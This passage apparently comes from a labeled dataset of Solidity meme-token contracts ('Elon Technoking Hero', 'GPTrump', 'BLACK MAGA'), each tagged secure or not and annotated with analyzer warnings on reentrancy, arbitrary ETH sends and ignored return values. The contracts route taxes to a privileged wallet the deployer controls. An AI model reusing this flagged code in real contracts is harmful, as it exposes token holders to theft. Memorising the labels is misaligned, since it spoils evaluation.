Recommendation for 69fb00c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 81850a4): ElonTechnokingHero._reduceSellTaxAt should be constant \n\t// Recommendation for 81850a4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: eee49b7): ElonTechnokingHero._preventSwapBefore should be constant \n\t// Recommendation for eee49b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Elon Technoking Hero\";\n\n string private constant _symbol = unicode\"ETH\";\n\n uint256 public _maxTxAmount = (_tTotal * 5) / 1000;\n\n uint256 public _maxWalletSize = (_tTotal * 5) / 1000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 06fbf36): ElonTechnokingHero._taxSwapThreshold should be constant \n\t// Recommendation for 06fbf36: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7a6e81): ElonTechnokingHero._maxTaxSwap should be constant \n\t// Recommendation for e7a6e81: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private firstBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f725883): ElonTechnokingHero.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f725883: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0585891): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0585891: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 51fed93): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 51fed93: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0585891\n\t\t// reentrancy-benign | ID: 51fed93\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0585891\n\t\t// reentrancy-benign | ID: 51fed93\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a30d6d7): ElonTechnokingHero._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a30d6d7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 51fed93\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0585891\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d4214a8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d4214a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 43a7917): ElonTechnokingHero._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 43a7917: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4c6eb25): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4c6eb25: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n\t\t\t// incorrect-equality | ID: 43a7917\n if (block.number == firstBlock) {\n require(_buyCount < 40, \"Exceeds buys on the first block.\");\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n if (block.number != firstBlock) {\n require(\n amount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: d4214a8\n\t\t\t\t// reentrancy-eth | ID: 4c6eb25\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d4214a8\n\t\t\t\t\t// reentrancy-eth | ID: 4c6eb25\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4c6eb25\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4c6eb25\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4c6eb25\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d4214a8\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4c6eb25\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4c6eb25\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d4214a8\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0585891\n\t\t// reentrancy-events | ID: d4214a8\n\t\t// reentrancy-benign | ID: 51fed93\n\t\t// reentrancy-eth | ID: 4c6eb25\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8508e45): ElonTechnokingHero.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8508e45: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0585891\n\t\t// reentrancy-events | ID: d4214a8\n\t\t// reentrancy-eth | ID: 4c6eb25\n\t\t// arbitrary-send-eth | ID: 8508e45\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4580bee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4580bee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a91d262): ElonTechnokingHero.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a91d262: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ac0f6e4): ElonTechnokingHero.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ac0f6e4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6c50336): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6c50336: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4580bee\n\t\t// reentrancy-eth | ID: 6c50336\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4580bee\n\t\t// unused-return | ID: ac0f6e4\n\t\t// reentrancy-eth | ID: 6c50336\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4580bee\n\t\t// unused-return | ID: a91d262\n\t\t// reentrancy-eth | ID: 6c50336\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 4580bee\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6c50336\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 4580bee\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n\n sendETHToFee(ethBalance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_1368.sol", "secure": 0, "size_bytes": 18643 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"New owner cannot be the zero address\");\n\n require(newOwner != _owner, \"New owner must be different\");\n\n address prevOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(prevOwner, newOwner);\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}", "file_name": "solidity_code_1369.sol", "secure": 1, "size_bytes": 1212 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BLACK MAGA\", unicode\"BMAGA\", 9, 10000000000) {}\n}", "file_name": "solidity_code_137.sol", "secure": 1, "size_bytes": 212 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract GPTrump is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isTaxExempt;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 292f727): GPTrump._taxWallet should be immutable \n\t// Recommendation for 292f727: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private _initialBuyTax = 17;\n\n uint256 private _initialSellTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: a5ad5eb): GPTrump._finalBuyTax should be constant \n\t// Recommendation for a5ad5eb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff36818): GPTrump._finalSellTax should be constant \n\t// Recommendation for ff36818: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 067d977): GPTrump._reduceBuyTaxAt should be constant \n\t// Recommendation for 067d977: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 735dc19): GPTrump._reduceSellTaxAt should be constant \n\t// Recommendation for 735dc19: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c618d3): GPTrump._preventSwapBefore should be constant \n\t// Recommendation for 3c618d3: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"GPTrump\";\n\n string private constant _symbol = unicode\"GPT\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1fddefe): GPTrump._taxSwapThreshold should be constant \n\t// Recommendation for 1fddefe: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec6a6f7): GPTrump._maxTaxSwap should be constant \n\t// Recommendation for ec6a6f7: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 2000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n event FinalTaxesSet(uint256 _finalBuyTax, uint256 _finalSellTax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _isTaxExempt[owner()] = true;\n\n _isTaxExempt[address(this)] = true;\n\n _isTaxExempt[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: eaf9515): GPTrump.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for eaf9515: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 26d0765): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 26d0765: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 26df67e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 26df67e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 26d0765\n\t\t// reentrancy-benign | ID: 26df67e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 26d0765\n\t\t// reentrancy-benign | ID: 26df67e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 23f33b6): GPTrump._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 23f33b6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6c29922\n\t\t// reentrancy-benign | ID: 26df67e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 413457f\n\t\t// reentrancy-events | ID: 26d0765\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 69e7e5a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 69e7e5a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 683e03e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 683e03e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isTaxExempt[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 4, \"Only 4 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 69e7e5a\n\t\t\t\t// reentrancy-eth | ID: 683e03e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 69e7e5a\n\t\t\t\t\t// reentrancy-eth | ID: 683e03e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 683e03e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 683e03e\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 683e03e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 69e7e5a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 683e03e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 683e03e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 69e7e5a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 69e7e5a\n\t\t// reentrancy-events | ID: 26d0765\n\t\t// reentrancy-benign | ID: 26df67e\n\t\t// reentrancy-eth | ID: 683e03e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function setFinalTaxes() external onlyOwner {\n _initialBuyTax = _finalBuyTax;\n\n _initialSellTax = _finalSellTax;\n\n emit FinalTaxesSet(_finalBuyTax, _finalSellTax);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 61763bc): GPTrump.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 61763bc: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 69e7e5a\n\t\t// reentrancy-events | ID: 26d0765\n\t\t// reentrancy-eth | ID: 683e03e\n\t\t// arbitrary-send-eth | ID: 61763bc\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 413457f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 413457f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6c29922): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6c29922: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: edf7a6f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for edf7a6f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ef6a54f): GPTrump.addLiquidityEth() ignores return value by uniswapV2Router.addLiquidityETH{value msg.value}(address(this),totalSupply(),0,0,owner(),block.timestamp)\n\t// Recommendation for ef6a54f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c29bbac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c29bbac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function addLiquidityEth() external payable onlyOwner {\n require(!tradingOpen, \"Trading is already open.\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n IUniswapV2Factory uniswapV2Factory = IUniswapV2Factory(\n uniswapV2Router.factory()\n );\n\n\t\t// reentrancy-events | ID: 413457f\n\t\t// reentrancy-benign | ID: 6c29922\n\t\t// reentrancy-benign | ID: edf7a6f\n\t\t// reentrancy-eth | ID: c29bbac\n uniswapV2Pair = uniswapV2Factory.createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6c29922\n _isTaxExempt[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-events | ID: 413457f\n\t\t// reentrancy-benign | ID: 6c29922\n _approve(address(this), address(uniswapV2Router), totalSupply());\n\n\t\t// reentrancy-benign | ID: edf7a6f\n\t\t// unused-return | ID: ef6a54f\n\t\t// reentrancy-eth | ID: c29bbac\n uniswapV2Router.addLiquidityETH{value: msg.value}(\n address(this),\n totalSupply(),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-eth | ID: c29bbac\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: edf7a6f\n swapEnabled = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if 